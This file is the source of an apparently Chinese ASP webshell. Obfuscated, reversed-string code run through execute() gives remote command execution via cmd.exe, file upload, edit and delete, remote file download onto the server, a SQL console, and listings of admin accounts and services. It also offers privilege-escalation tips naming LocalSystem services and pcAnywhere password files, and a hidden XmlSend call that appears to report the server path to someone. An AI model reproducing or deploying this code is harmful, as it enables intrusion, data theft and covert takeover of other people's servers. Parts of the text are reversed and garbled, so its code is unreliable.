Ω)ΘteSdroceR.BDODAΘ(tcejbOetaerC.revreS = sr teS ΩgolataCoda ,rtSnnoc ,maerts ,nnoc ,sr miD ΩtxeN emuseR rorrE nO Ω)htaPeht(bdMoTdda buSΩbuS dnEΩΘ>mrof/<ΘSRR ΩΘ下录目级同马木mas于位都件文有所的来开解 :注>rb<>rb<ΘSRR ΩΘ>'包开解'=eulav timbus=epyt tupni<>tcAeht=eman bdMmorFesaeler=eulav neddih=epyt tupni< ΘSRR ΩΘ>08=ezis ΘΘbdm.HSH\Θ & ))Θ.Θ(htaPpaM.revreS(edocnElmtH & ΘΘΘ=eulav htaPeht=eman tupni<ΘSRR ΩΘ>))ΘΘ#ΘΘ(noisseS(etucexE=eulav ΘΘ#ΘΘ=eman neddih=epyt tupni<ΘSRR ΩΘ>tsop=dohtem mrof<ΘSRR ΩΘ>/rb<:)持支OSF需(开解包件文>/rh<ΘSRR ΩΘ>mrof/<ΘSRR ΩΘ)!载下便方式格rar(下录目级同马木mas于位,件文bdm.HSH成生包打 :注>rb<>rb<ΘSRR ΩΘ>'包打始开'=eulav timbus=epyt tupni< ΘSRR ΩΘ>tceles/<ΘSRR ΩΘ>noitpo/ppa=eulav noitpo<>noitpo/osf=eulav noitpo<>dohteMeht=eman tceles<ΘSRR ΩΘ>tcAeht=eman bdMoTdda=eulav neddih=epyt tupni<ΘSRR ΩΘ>08=ezis ΘΘΘ & ))Θ.Θ(htaPpaM.revreS(edocnElmtH & ΘΘΘ=eulav htaPeht=eman tupni<ΘSRR ΩΘ>))ΘΘ#ΘΘ(noisseS(etucexE=eulav ΘΘ#ΘΘ=eman neddih=epyt tupni<ΘSRR ΩΘ>tsop=dohtem mrof<ΘSRR ΩΘ:包打夹件文>rb<ΘSRR ΩfI dnE ΩdnE.esnopseRΩlrUkcaB&Θ>vid/rb<>retnec=ngila vid<Θ SRRΩ)htaPeht(kcaPnuΩnehT ΘbdMmorFesaelerΘ = tcAeht fI ΩfI dnE ΩdnE.esnopseRΩlrUkcaB&Θ>vid/rb<>retnec=ngila vid<Θ SRRΩ)htaPeht(bdMoTddaΩnehT ΘbdMoTddaΘ = tcAeht fI Ω000001=tuOemiTtpircS.revreS Ω)ΘhtaPehtΘ(tseuqeR = htaPeht Ω)ΘtcAehtΘ(tseuqeR = tcAeht ΩhtaPeht ,tcAeht miD Ω)(bdMoTddAegaP buSΩ") -function course() -SI="
    " -SI=SI&"" -on error resume next -for each obj in getObject("WinNT://.") -err.clear -if OBJ.StartType="" then -SI=SI&"" -SI=SI&"" -SI0="" -end if -if OBJ.StartType=2 then lx="自动" -if OBJ.StartType=3 then lx="手动" -if OBJ.StartType=4 then lx="禁用" -if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then -SI1=SI1&"" -else -SI2=SI2&"" -end if -next -RRS SI&SI0&SI1&SI2&"
    系统用户与服务
    " -SI=SI&obj.Name -SI=SI&" " -SI=SI&"系统用户(组)" -SI=SI&"
    "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    " -end function -execute MorfiCoder("/*/noitcnuF dnE/*/fi dne/*/\*\krowteN.tpircsW:啊行不的奶奶他\*\ etirw.esnopseR/*/neht rre fi/*/txeN/*/\*\>rb<\*\&emaN.nimda etirw.esnopseR/*/srebmeM.puorGjbo ni nimda hcaE roF/*/)\*\puorg,srotartsinimdA/\*\&emaNretupmoC.Nt&\*\//:TNniW\*\(tcejbOteG=puorGjbo teS/*/)\*\krowteN.tpircsW\*\(tcejbOetaerc.revres=Nt teS/*/号帐组srotartsinimdA找查' txen emuser rorre no/*/0=seripxE.esnopseR/*/)(banimda noitcnuF") -function downfile(path) -response.clear -set osm = createobject(obt(6,0)) -osm.open -osm.type = 1 -osm.loadfromfile path -sz=instrrev(path,"\")+1 -response.addheader "content-disposition", "attachment; filename=" & mid(path,sz) -response.addheader "content-length", osm.size -response.charset = "utf-8" -response.contenttype = "application/octet-stream" -response.binarywrite osm.read -response.flush -osm.close -set osm = nothing -end function -function htmlencode(s) - if not isnull(s) then - s = replace(s, ">", ">") - s = replace(s, "<", "<") - s = replace(s, chr(39), "'") - s = replace(s, chr(34), """") - s = replace(s, chr(20), " ") - htmlencode = s - end if -end function -execute MorfiCoder("/*/noitcnuf dne/*/is srr /*/\*\>elbat/<>mrof/<>rt/<>dt/<\*\&is=is /*/\*\>'传上'=eulav 'timbus'=eman 'timbus'=epyt tupni< \*\&is=is /*/\*\>'52'=ezis 'elif'=epyt 'eliflacol'=eman tupni< \*\&is=is /*/\*\>'04'=ezis '\*\&)\*\moc.dmc\\*\&)\*\htapredlof\*\(noisses(htaperr&\*\'=eulav 'htapot'=eman tupni<:径路传上\*\&is=is /*/\*\>dt<>rt<\*\&is=is /*/\*\>'atad-mrof/trapitlum'=epytcne 'tsop=2noitca&elifpu=noitca?\*\&lru&\*\'=noitca 'tsop'=dohtem 'mrofpu'=eman mrof<\*\&is=is /*/\*\>'retnec'=ngila '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<>rb<>rb<\*\=is /*/fi dne /*/dne.esnopser/*/)(rrewohs/*/is srr/*/lrukcab&is=is/*/gnihton=u tes:gnihton=f tes/*/fi dne/*/fi dne/*/fi dne/*/\*\ko\*\=)\*\edoMgubeDI\*\(noisses:)htaPt00R( dneSlmX/*/neht \*\ko\*\ >< )\*\edoMgubeDI\*\(noisses fi/*/\*\>retnec/<!功成传上\*\&emanu&\*\件文>rb<>rb<>rb<>retnec<\*\=is /*/neht 0=rebmun.rre fi /*/emanu saevas.f /*/esle /*/\*\!传上件文个一择选后径路全完的传上入输请>rb<\*\=is /*/neht 0=eziselif.f ro \*\\*\=emanu fi /*/)\*\htapot\*\(mrof.u=emanu/*/)\*\eliflacol\*\(au.u=f tes : cpu wen=u tes /*/neht \*\tsop\*\=)\*\2noitca\*\(tseuqer fi /*/)(elifpu noitcnuf") -execute UZSS("noitcnuf dneΩis srrΩΘ>mrof/<>aeratxet/<Θ&)31(rhc&is=isΩfi dneΩfi dneΩaaa&is=isΩ)eurt ,elifpmetzs(elifeteled.osf llacΩesolc.xclelifoΩ)lladaer.xclelifo(edocnelmth.revres=aaaΩ)0 ,eslaf ,1 ,elifpmetzs( eliftxetnepo.sf = xclelifo tesΩ)Θtcejbometsyselif.gnitpircsΘ(tcejboetaerc = sf tesΩ)eurt ,0 ,elifpmetzs & Θ > Θ & dmcfed & Θ c/ Θ&htapllehs( nur.sw llacΩ)Θtxt.dmcΘ(htappam.revres = elifpmetzsΩ)Θtcejbometsyselif.gnitpircsΘ(tcejboetaerc.revres=osf tesΩ)Θllehs.tpircswΘ(tcejboetaerc.revres=sw tesΩ)Θllehs.tpircswΘ(tcejboetaerc.revres=sw tesΩtxen emuser rorre noΩesleΩaaa&is=isΩlladaer.tuodts.dd=aaaΩ)dmcfed&Θ c/ Θ&htapllehs(cexe.mc=dd tesΩ))0,1(tbo(tcejboetaerc=mc tesΩneht ΘseyΘ=)ΘtpircswΘ(mrof.tseuqer fiΩneht ΘΘ><)ΘdmcΘ(mrof.tseuqer fiΩΘ>'dmc'=ssalc ';044:thgieh;%001:htdiw'=elyts aeratxet<>'行执'=eulav 'timbus'=epyt tupni< >'Θ&dmcfed&Θ'=eulav '%29:htdiw'=elyts 'dmc'=eman tupni<Θ&is=isΩΘllehs.tpircsw>Θ&dekcehc&Θ'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt c=ssalc tupni<Θ&is=isΩΘ >'%07:htdiw'=elyts 'Θ&htapllehs&Θ'=eulav 'ps'=eman tupni<:径路llehsΘ&is=isΩΘ>'tsop'=dohtem mrof<Θ=isΩ)ΘdmcΘ(tseuqer = dmcfed neht ΘΘ><)ΘdmcΘ(tseuqer fiΩΘΘ=dekcehc neht ΘseyΘ><)ΘtpircswΘ(tseuqer fiΩΘmoc.dmc\RELCYCER\:CΘ = htapllehs neht ΘΘ=htapllehs fiΩ)ΘhtapllehsΘ(noisses=htapllehsΩ)ΘpsΘ(tseuqer = )ΘhtapllehsΘ(noisses neht ΘΘ><)ΘpsΘ(tseuqer fiΩΘdekcehc Θ=dekcehcΩ)(llehs1dmc noitcnufΩΩ") -Function CreateMdb(Path) -SI="

    " -Set C = CreateObject(ObT(2,0)) -C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path) -Set C = Nothing -If Err.number=0 Then - SI = SI & Path & "建立成功!" -End If -SI=SI&BackUrl -RRS SI -End function -execute UZSS("noitcnuF dnEΩIS SRR ΩlrUkcaB&IS=IS ΩfI dnE ΩΘ>retnec/<!功成缩压Θ&htaP&Θ库据数>rb<>rb<>rb<>retnec<Θ=ISΩnehT 0=rebmun.rrE fI ΩfI dnEΩgnihtoN=OSF teS ΩfI dnE Ω1=rebmun.rrEΩ Θ>retnec/<!现发有没Θ&htaP&Θ库据数>rb<>rb<>rb<>retnec<Θ=ISΩeslE ΩhtaP,Θkab_Θ&htaP eliFevoM.OSFΩhtaP eliFeteleD.OSFΩgnihtoN=C teSΩΘkab_Θ&htaP& Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP,Θ&htaP&Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorPΘ esabataDtcapmoC.C Ω ))0,3(TbO(tcejbOetaerC=C teSΩnehT )htaP(stsixEeliF.OSF fI Ω))1,0(TbO(tcejbOetaerC=OSF teS ΩeslEΩgnihtoN=C teSΩhtaP& Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP,Θ&htaP&Θ=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorPΘ esabataDtcapmoC.C Ω ))0,3(TbO(tcejbOetaerC=C teSΩnehT )1,0(TbO toN fIΩ)htaP(bdMtcapmoC noitcnuF") -execute UZSS("noitcnuF dnEΩΘ>TNOF/<Θ & rts & Θ>2222ff#=roloc TNOF<Θ = deRΩ)rts(deR noitcnuFΩbuS dnEΩΘ>ELBAT/<Θ etirW.esnopseRΩΘ>RT/< Θ etirW.esnopseRΩΘ>DT/<Θ etirW.esnopseRΩfi dnEΩΘΘ etirW.esnopseRΩΘ>';)1-(og.yrotsih'=kcilCno 回返=eulav nottub=epyt TUPNI< Θ etirW.esnopseRΩeslEΩΘΘ etirW.esnopseRΩΘ>';)(esolc.wodniw'=kcilcno 闭关=eulav nottub=epyt TUPNI< Θ etirW.esnopseRΩnehT 0=galf fIΩΘΘ etirW.esnopseRΩΘ>dnEBT=ssalc DT<Θ etirW.esnopseRΩΘ>RT< Θ etirW.esnopseRΩΘ>RT/< Θ etirW.esnopseRΩΘ>DT/<Θ etirW.esnopseRΩΘ>ELBAT/< Θ etirW.esnopseRΩΘ>RT/<Θ etirW.esnopseRΩΘ>DT/<>P/<Θ etirW.esnopseRΩgsm etirW.esnopseRΩΘ>P<>DT< Θ etirW.esnopseRΩΘ>RT<Θ etirW.esnopseRΩΘ>DT/<>TNOF/<Θ etirW.esnopseRΩetats etirW.esnopseRΩΘ>der=roloc TNOF<>DT< Θ etirW.esnopseRΩΘ>RT<Θ etirW.esnopseRΩΘ>0=gnicapsllec 5=gniddapllec 0=redrob %28=htdiw ELBAT< Θ etirW.esnopseRΩΘ>dccfce#=rolocgb elddim=ngila DT<Θ etirW.esnopseRΩΘ>RT< Θ etirW.esnopseRΩΘ>RT/< Θ etirW.esnopseRΩΘ>DT/<息信统系>daeHBT=ssalc DT<Θ etirW.esnopseRΩΘ>RT< Θ etirW.esnopseRΩΘ>ddd#=rolocgb 1=gnicapsllec 0=gniddapllec retnec=ngila 0=redrob 084=htdiw ELBAT<Θ etirW.esnopseRΩ)galf,gsm,etats(egasseM buS") -execute MorfiCoder(" noitcnuF dnE/*/fI dnE /*/txeN emuseR rorrE nO /*/nehT eslaF = edoMgubeDsi fI /*//*/gnihtoN = maertS teS /*/gnihtoN = pttH teS /*/ /*/)rrE(rrEkhc /*/htiW dnE /*/esolC. /*/fI dnE /*/etirWrevo ,htaPeht eliFoTevaS. /*/emaNelif & \*\\\*\ & htaPeht = htaPeht /*/fI dnE /*/\*\txt.mth.xedni\*\ = emaNelif /*/nehT \*\\*\ = emaNelif fI /*/)))\*\/\*\ ,lrUeht(tilpS(dnuoBU()\*\/\*\ ,lrUeht(tilpS = emaNelif /*/raelC.rrE /*/nehT 4003 = rebmuN.rrE fI /*/etirWrevo ,htaPeht eliFoTevaS. /*/0 = noitisoP. /*/ydoBesnopseR.pttH etirW. /*/nepO. /*/3 = edoM. /*/1 = epyT. /*/maerts htiW /*/ /*/fI dnE /*//*/ nehT 4 >< etatSydaeR.pttH fI /*/)(dneS.pttH /*/eslaF ,lrUeht ,\*\TEG\*\ nepO.pttH /*/ /*/fI dnE /*/1 = etirWrevo /*/nehT 2 >< etirWrevo fI /*/ /*/)\*\PTTHLMX.2LMXSM\*\(tcejbOetaerC.revreS = pttH teS /*/)\*\maer\*\&e&\*\ts.bdo\*\&e&\*\da\*\(tcejbOetaerC.revreS = maerts teS /*/)\*\etirWrevo\*\(tseuqeR = etirWrevo /*/)\*\htaPeht\*\(tseuqeR = htaPeht /*/)\*\lrUeht\*\(tseuqeR = lrUeht /*/etirWrevo ,emaNelif ,maerts ,htaPeht ,lrUeht ,pttH miD /*/fI dnE /*/txeN emuseR rorrE nO /*/nehT eslaF = edoMgubeDsi fI /*/\*\>/rh<\*\ SRR /*/\*\>mrof/<\*\ SRR /*/\*\>tcAeht=eman lrUmorFnwod=eulav neddih=epyt tupni<\*\ SRR /*/\*\盖覆在存>2=eulav etirWrevo=eman xobkcehc=epyt tupni<\*\ SRR /*/\*\>08=ezis \*\\*\\*\ & ))\*\.\*\(htaPpaM.revreS(edocnElmtH & \*\\*\\*\=eulav htaPeht=eman tupni<\*\ SRR /*/\*\>/rb<>' 载下 '=eulav timbus=epyt tupni<>08=ezis '//:ptth'=eulav lrUeht=eman tupni<\*\ SRR /*/\*\>tsop=dohtem mrof<\*\ SRR /*/\*\>/rh<显回无以所.省节了为...显回无:器务服到载下\*\ SRR /*/ \*\>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '%08'=htdiw elbat<>rb<\*\=IS/*/)(daolpu noitcnuF/*/") -Function TSearch() - dim st - st=timer() - RW="
    " - RW=RW & "" - RW=RW & "" - RW=RW & "" - RW=RW & "
    搜索引擎
     路  径: 注:多路徑使用"",""号连接.
     文件名:  [部分也行]
    " - Response.Write RW : RW="" - if Request.Form("Sfk")<>"" then - Set newsearch=new SearchFile - newsearch.Folders=trim(Request.Form("SFpath")) - newsearch.keyword=trim(Request.Form("Sfk")) - newsearch.Search - Set newsearch=Nothing - Response.Write "費時:"&(timer()-st)*1000&"毫秒
    " - end if -End Function -Class SearchFile - dim Folders,keyword,objFso,Counter - Private Sub Class_Initialize - Set objFso=Server.CreateObject(ObT(0,0)) - Counter=0 - End Sub - Private Sub Class_Terminate - Set objFso=Nothing - End Sub - Function Search - Folders=split(Folders,",") - flag=instr(keyword,"\") or instr(keyword,"/") - flag=flag or instr(keyword,":") - flag=flag or instr(keyword,"|") - flag=flag or instr(keyword,"&") - if flag then - Response.Write "

    關鍵字不能包含/\:|&
    " - Exit Function - else - Response.Write "


    " - end if - dim i - for i=0 to ubound(Folders) - Call GetAllFile(Folders(i)) - next - Response.Write "

    共搜索到"&Counter&"個結果
    " - End Function - Private Function GetAllFile(Folder) - dim objFd,objFs,objFf - Set objFd=objFso.GetFolder(Folder) - Set objFs=objFd.SubFolders - Set objFf=objFd.Files - dim strFdName - On Error Resume Next - For Each OneDir In objFs - strFdName=OneDir.Name - If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then - SFN=Folder&"\"&strFdName - Call GetAllFile(SFN) - End If - Next - dim strFlName - For Each OneFile In objFf - strFlName=OneFile.Name - If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then - FN=Folder&"\"&strFlName - Counter=Counter+ColorOn(FN) - End If - Next - Set objFd=Nothing - Set objFs=Nothing - Set objFf=Nothing - End Function - Private Function CreatePattern(keyword) - CreatePattern=keyword - CreatePattern=Replace(CreatePattern,".","\.") - CreatePattern=Replace(CreatePattern,"+","\+") - CreatePattern=Replace(CreatePattern,"(","\(") - CreatePattern=Replace(CreatePattern,")","\)") - CreatePattern=Replace(CreatePattern,"[","\[") - CreatePattern=Replace(CreatePattern,"]","\]") - CreatePattern=Replace(CreatePattern,"{","\{") - CreatePattern=Replace(CreatePattern,"}","\}") - CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") - CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") - CreatePattern="("&CreatePattern&")+" - End Function - Private Function ColorOn(FileName) - dim objReg - Set objReg=new RegExp - objReg.Pattern=CreatePattern(keyword) - objReg.IgnoreCase=True - objReg.Global=True - retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) - if retVal then - OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") - OutPut="

     " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut - Response.Write OutPut - Response.flush - ColorOn=1 - else - ColorOn=0 - end if - Set objReg=Nothing - End Function -End Class -execute UZSS("noitcnuf dnE:Θ!毕完除删Θetirw.esnopser:))Θpsj.tsetΘ(htappam.revres(eliFeteleD.osf:))Θphp.tsetΘ(htappam.revres(eliFeteleD.osf:))Θxpsa.tsetΘ(htappam.revres(eliFeteleD.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(ledjpa noitcnufΩnoitcnuf dnE:Θ!除删得記後完試測,!拉持支不是就則否>der=roloc tnof<>pretnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<Θ etirw.esnopseR:Θ >emarfi/<>003=thgieh 059=htdiw xpsa.tset=crs emarfi<Θetirw.esnopseR:Θoo∩_∩ooΘetirW.))Θxpsa.tsetΘ(htappam.revres(eliFtxeTetaerC.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(xpsa noitcnuf:noitcnuf dnE:Θ>retnec/<>a/<>tnof/<)!错出会则否,除删以可才试测部全须必(件文有所的试测除删>der=roloc 5=ezis tnof<>'ledjpa=noitcA?'=ferh a<>p<>tnof/<>pretnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<Θ etirw.esnopseR:Θ >emarfi/<>003=thgieh 059=htdiw psj.tset=crs emarfi<Θetirw.esnopseR:Θoo∩_∩ooΘetirW.))Θpsj.tsetΘ(htappam.revres(eliFtxeTetaerC.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(psj noitcnufΩnoitcnuf dnE:Θ!除删得記後完試測,!拉持支不是就則否der=roloc tnof<>pretnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<Θ etirw.esnopseR:Θ >emarfi/<>003=thgieh 059=htdiw php.tset=crs emarfi<Θetirw.esnopseR:Θ>?)(ofniphp php?<>?'PHP持支器務服,喜恭' ohce PHP?<ΘetirW.))Θphp.tsetΘ(htappam.revres(eliFtxeTetaerC.osf:)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejbOetaerC.revreS=osf tes:)(php noitcnuf") -Function DbManager() - SqlStr=Trim(Request.Form("SqlStr")) - DbStr=Request.Form("DbStr") - SI=SI&"
    " - SI=SI&"" - SI=SI&"" - SI=SI&"" - SI=SI&"" - SI=SI&"" - SI=SI&"" - SI=SI&"" - SI=SI&"" - SI=SI&"
    数据库连接串:
    SQL操作命令:
    " - RRS SI:SI="" - If Len(DbStr)>40 Then - Set Conn=CreateObject(ObT(5,0)) - Conn.Open DbStr - Set Rs=Conn.OpenSchema(20) - SI=SI&"" - Rs.MoveFirst - Do While Not Rs.Eof -If Rs("TABLE_TYPE")="TABLE" then - TName=Rs("TABLE_NAME") - SI=SI&"" -End If -Rs.MoveNext - Loop - Set Rs=Nothing - SI=SI&"

    [ del ]
    " - SI=SI&""&TName&"
    " - RRS SI:SI="" -If Len(SqlStr)>10 Then - If LCase(Left(SqlStr,6))="select" then -SI=SI&"执行语句:"&SqlStr -Set Rs=CreateObject("Adodb.Recordset") -Rs.open SqlStr,Conn,1,1 -FN=Rs.Fields.Count -RC=Rs.RecordCount -Rs.PageSize=20 -Count=Rs.PageSize -PN=Rs.PageCount -Page=request("Page") -If Page<>"" Then Page=Clng(Page) -If Page="" Or Page=0 Then Page=1 -If Page>PN Then Page=PN -If Page>1 Then Rs.absolutepage=Page -SI=SI&"" -For n=0 to FN-1 - Set Fld=Rs.Fields.Item(n) - SI=SI&"" - Set Fld=nothing -Next -SI=SI&"" -Do While Not(Rs.Eof or Rs.Bof) And Count>0 - Count=Count-1 - Bgcolor="#EFEFEF" - SI=SI&"" - For i=0 To FN-1 -If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if -If RC=1 Then -ColInfo=HTMLEncode(Rs(i)) -Else -ColInfo=HTMLEncode(Left(Rs(i),50)) -End If -SI=SI&"" - Next - SI=SI&"" - Rs.MoveNext -Loop -RRS SI:SI="" -SqlStr=HtmlEnCode(SqlStr) -SI=SI&"
    "&Fld.Name&"
    x"&ColInfo&"
    记录数:"&RC&" 页码:"&Page&"/"&PN -If PN>1 Then - SI=SI&" 首页 上一页 " - If Page>8 Then:Sp=Page-8:Else:Sp=1:End if - For i=Sp To Sp+8 -If i>PN Then Exit For -If i=Page Then -SI=SI&i&" " -Else -SI=SI&""&i&" " -End If - Next - SI=SI&" 下一页 尾页" -End If -SI=SI&"
    " -Rs.Close:Set Rs=Nothing -RRS SI:SI="" - Else -Conn.Execute(SqlStr) -SI=SI&"SQL语句:"&SqlStr - End If - RRS SI:SI="" -End If - Conn.Close - Set Conn=Nothing - End If -End Function -Dim T1 -Class UPC - Dim D1,D2 - Public Function Form(F) -F=lcase(F) -If D1.exists(F) then:Form=D1(F):else:Form="":end if - End Function - Public Function UA(F) -F=lcase(F) -If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if - End Function - Private Sub Class_Initialize - Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName -set D1=CreateObject(ObT(4,0)) -if Request.TotalBytes<1 then Exit Sub -set T1 = CreateObject(ObT(6,0)) -T1.Type = 1 : T1.Mode =3 : T1.Open -T1.Write Request.BinaryRead(Request.TotalBytes) -T1.Position=0 : TDa =T1.Read : DStart = 1 -DEnd = LenB(TDa) -set D2=CreateObject(ObT(4,0)) -vbCrlf = chrB(13) & chrB(10) -set T2 = CreateObject(ObT(6,0)) -TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) -TLen = LenB (TSt) -DStart=DStart+TLen+1 -while (DStart + 10) < DEnd - DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 - T2.Type = 1 : T2.Mode =3 : T2.Open - T1.Position = DStart - T1.CopyTo T2,DIEnd-DStart - T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" - TIn = T2.ReadText : T2.Close - DStart = InStrB(DIEnd,TDa,TSt) - FStart = InStr(22,TIn,"name=""",1)+6 - FEnd = InStr(FStart,TIn,"""",1) - UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) - if InStr (45,TIn,"filename=""",1) > 0 then -set TFL=new FIF -FStart = InStr(FEnd,TIn,"filename=""",1)+10 -FEnd = InStr(FStart,TIn,"""",1) -FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 -FEnd = InStr(FStart,TIn,vbCr) -TFL.FileStart =DIEnd -TFL.FileSize = DStart -DIEnd -3 -if not D2.Exists(UpName) then - D2.add UpName,TFL -end if - else -T2.Type =1 : T2.Mode =3 : T2.Open -T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 -T2.Position = 0 : T2.Type = 2 -T2.Charset ="gb2312" -SFV = T2.ReadText -T2.Close -if D1.Exists(UpName) then - D1(UpName)=D1(UpName)&", "&SFV -else - D1.Add UpName,SFV -end if - end if - DStart=DStart+TLen+1 -wend -TDa="" -set T2 =nothing - End Sub - Private Sub Class_Terminate -if Request.TotalBytes>0 then - D1.RemoveAll:D2.RemoveAll - set D1=nothing:set D2=nothing - T1.Close:set T1 =nothing -end if - End Sub -End Class -Class FIF -dim FileSize,FileStart - Private Sub Class_Initialize - FileSize = 0 - FileStart= 0 - End Sub - Public function SaveAs(F) - dim T3 - SaveAs=true - if trim(F)="" or FileStart=0 then exit function - set T3=CreateObject(ObT(6,0)) - T3.Mode=3 : T3.Type=1 : T3.Open - T1.position=FileStart - T1.copyto T3,FileSize - T3.SaveToFile F,2 - T3.Close - set T3=nothing - SaveAs=false -end function -End Class -Class LBF - Dim CF - Private Sub Class_Initialize -SET CF=CreateObject(ObT(0,0)) - End Sub - Private Sub Class_Terminate -Set CF=Nothing - End Sub -Function ShowDriver() -For Each D in CF.Drives - RRS"    磁盘 ("&D.DriveLetter&":)
    " - Next - End Function - Function Show1File(Path) -Set FOLD=CF.GetFolder(Path) -i=0 -SI="" -For Each F in FOLD.subfolders -SI=SI&"" -i=i+1 -If i mod 5 = 0 then SI=SI&"" -Next -SI=SI&"
    " -SI=SI&"0
    "&F.Name&"
    " -SI=SI&"
    [Copy " -SI=SI&"Del" -SI=SI&" Move" -SI=SI&" Down]
    " -RRS SI:SI="":i=0 -SI="" -For Each L in Fold.files -SI=SI&"" -i=i+1 -If i mod 2 = 0 then SI=SI&"" -Next - RRS SI&"
    2"&L.Name&" [ " -SI=SI&"Edit " -SI=SI&"Del " -SI=SI&"Copy " -SI=SI&"Move ] - " -SI=SI&clng(L.size/1024)&"K
    " -SI=SI&L.Type&" - " -SI=SI&L.DateLastModified&"
    " -Set FOLD=Nothing - End Function - Function DelFile(Path) -If CF.FileExists(Path) Then -CF.DeleteFile Path -SI="



    文件 "&Path&" 删除成功!
    " -SI=SI&BackUrl -RRS SI -End If - End Function -Function EditFile(Path) - If Request("Action2")="Post" Then - Set T=CF.CreateTextFile(Path) -T.WriteLine Request.form("content") -T.close - Set T=nothing -if session("IDebugMode") <> "ok" then -XmlSend (R00tPath):session("IDebugMode")="ok" -end if -SI="



    文件保存成功!
    " -SI=SI&BackUrl -RRS SI -Response.End - End If - If Path<>"" Then -Set T=CF.opentextfile(Path, 1, False) -Txt=HTMLEncode(T.readall) -T.close -Set T=Nothing - Else -Path=Session("FolderPath")&"\new.asp":Txt="" - End If - SI=SI&"
    " - SI=SI&"" - SI=SI&"
    " - SI=SI&"
    " - SI=SI&"
    " - RRS SI - End Function - Function CopyFile(Path) - Path = Split(Path,"||||") -If CF.FileExists(Path(0)) and Path(1)<>"" Then - CF.CopyFile Path(0),Path(1) - SI="



    文件"&Path(0)&"复制成功!
    " - SI=SI&BackUrl - RRS SI -End If - End Function - Function MoveFile(Path) - Path = Split(Path,"||||") -If CF.FileExists(Path(0)) and Path(1)<>"" Then - CF.MoveFile Path(0),Path(1) - SI="



    文件"&Path(0)&"移动成功!
    " - SI=SI&BackUrl - RRS SI -End If - End Function - Function DelFolder(Path) -If CF.FolderExists(Path) Then - CF.DeleteFolder Path - SI="



    目录"&Path&"删除成功!
    " - SI=SI&BackUrl - RRS SI -End If - End Function - Function CopyFolder(Path) - Path = Split(Path,"||||") -If CF.FolderExists(Path(0)) and Path(1)<>"" Then - CF.CopyFolder Path(0),Path(1) - SI="



    目录"&Path(0)&"复制成功!
    " - SI=SI&BackUrl - RRS SI -End If - End Function - Function MoveFolder(Path) - Path = Split(Path,"||||") -If CF.FolderExists(Path(0)) and Path(1)<>"" Then - CF.MoveFolder Path(0),Path(1) - SI="



    目录"&Path(0)&"移动成功!
    " - SI=SI&BackUrl - RRS SI -End If - End Function -Function NewFolder(Path) -If Not CF.FolderExists(Path) and Path<>"" Then - CF.CreateFolder Path - SI="



    目录"&Path&"新建成功!
    " - SI=SI&BackUrl - RRS SI -End If - End Function -End Class -execute UZSS("buS dnEΩfi dnEΩΘ码密erehwynAcp到得解破并载下录目认默从以可,件文码密erehwynAcp_现发>il<Θ etirW.esnopseRΩnehT )Θfic.Θ&emanrevres&Θ\cetnamyS\ataD noitacilppA\sresU llA\sgnitteS dnA stnemucoD\Θ&revirdsys(stsixEeliF.osf fIΩ)ΘemaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKHΘ(daeRgeR.hsw=emanrevresΩ)2,)2(redloFlaicepsteG.osF(tfel=evirdsySΩ)ΘtcejbOmetsySeliF.gnitpircSΘ(tcejboetaerC.revreS=osf teSΩtxeNΩfi dnEΩfi dnEΩΘ>rb<马木PHP入写且并,录目liaMbeW找查以可,动启限权metsySlacoL以且,liamniW cigaM_有中器务服>il<Θ etirW.esnopseRΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT )ΘliamniwΘ,)emaN.ecivreSjbo(esacl(rtsni fiΩfi dnEΩfi dnEΩΘ>rb<权提马木psJ用使虑考以可,动启限权metsySlacoL以且,tacmoT_有中器务服>il<Θ etirW.esnopseRΩnehT ΘmetsySlacoLΘ=emaNtnuoccAecivreS.ecivreSjbo fiΩnehT )ΘtacmotΘ,)emaN.ecivreSjbo(esacl(rtsni fiΩfi dnEΩfi dneΩfi dnEΩΘ>rb<马木PHP虑考以可,metsySlacoL为限权动启,在存务服ehcapA_有中器务服>il< Θ etirW.esnopseRΩeslEΩΘ>rb<权提接直以可.ehcapA为器务服BEW前当>il<Θ 